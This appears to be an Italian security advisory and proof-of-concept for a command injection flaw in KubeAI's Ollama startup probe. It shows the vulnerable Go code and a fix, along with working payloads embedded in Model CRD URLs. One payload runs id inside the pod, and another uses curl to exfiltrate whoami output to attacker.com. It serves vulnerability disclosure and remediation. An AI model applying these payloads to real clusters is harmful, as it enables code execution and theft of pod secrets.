
Proof-of-concept per l'iniezione di comandi a livello di sistema operativo nella probe di avvio di Ollama di KubeAI, che dimostra l'esecuzione di codice arbitrario nei pod dei modelli Kubernetes tramite URL Model CRD appositamente costruiti.
Gravità: Alta (CVSS 8.7)
CWE: CWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando OS
Affected: github.com/kubeai-project/kubeai <= 0.23.1
Corretto in: 0.23.2
Advisory: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Credito: Romain Deperne
KubeAI costruisce uno script shell per la probe di avvio di Kubernetes interpolando i componenti dell'URL del CRD Model (ref, modelParam) in un comando bash -c tramite fmt.Sprintf in Go. I metacaratteri della shell nell'URL non vengono sanificati, consentendo a qualsiasi utente con permessi RBAC di creazione/aggiornamento del CRD Model di eseguire comandi arbitrari all'interno dei pod del model server — senza privilegi di cluster-admin.
Stavo esaminando gli operatori di inferenza AI per Kubernetes — strumenti che permettono di distribuire LLM come workload K8s creando CRD. KubeAI supporta Ollama, vLLM e altri engine. La mia ipotesi era: se un utente può creare CRD Model, può influenzare ciò che viene eseguito all'interno dei pod del modello?
Il codice dell'engine vLLM mostrava immediatamente il pattern corretto: argomenti passati come array di stringhe a exec, senza coinvolgimento della shell. Così ho esaminato l'engine Ollama per contrasto — e ho trovato fmt.Sprintf("%s %s", pullCmd, u.ref) che alimenta bash -c. Classica configurazione per l'iniezione di shell.
La regex del parser dell'URL [^?]+ (tutto tranne ?) è ciò che suggella il tutto: punti e virgola, backtick, $() sono tutti validi in u.ref. Ho scritto il YAML del PoC, l'ho applicato e ho osservato id > /tmp/pwned eseguirsi all'interno del pod del modello.
La sfumatura che eleva la gravità: nei cluster K8s multi-tenant, il RBAC del CRD Model viene spesso concesso a team che esplicitamente non sono cluster-admin. Questo offre a un tenant con privilegi limitati un percorso diretto verso l'esecuzione di codice arbitrario nei pod del modello — incluso l'accesso ai secret montati e ai token degli account di servizio. Attraversa un confine di privilegi che il RBAC di K8s dovrebbe far rispettare.
File: internal/modelcontroller/engine_ollama.go, righe 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Questa stringa viene quindi eseguita come:
Command: []string{"bash", "-c", startupProbeScript}
Parser URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Confronto con il motore vLLM (sicuro):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Il motore Ollama adotta una scorciatoia: costruisce una pipeline shell a più passaggi come stringa e la passa a bash -c. Il motore vLLM utilizza array di argomenti in stile exec. Nessun webhook di ammissione o validazione dello schema CRD limita il campo URL a caratteri sicuri.
Vedi poc.yaml — applica con kubectl apply -f poc.yaml su un cluster che esegue KubeAI con modelli Ollama.
Vettore 1 — riferimento URL ollama:// (iniezione con punto e virgola):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sonda di avvio generata:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
Il comando id>/tmp/pwned viene eseguito e scrive uid=0(root)... in /tmp/pwned all'interno del pod.
Vettore 2 — parametro di query ?model= (esfiltrazione OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sonda generata:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Esfiltra il nome utente del pod verso un server controllato dall'attaccante.
ModelSostituire bash -c <string> con una probe in stile exec che passi gli argomenti come array (come già fa il motore vLLM), oppure validare i campi URL rispetto a ^[a-zA-Z0-9._:/-]+$ prima dell'interpolazione.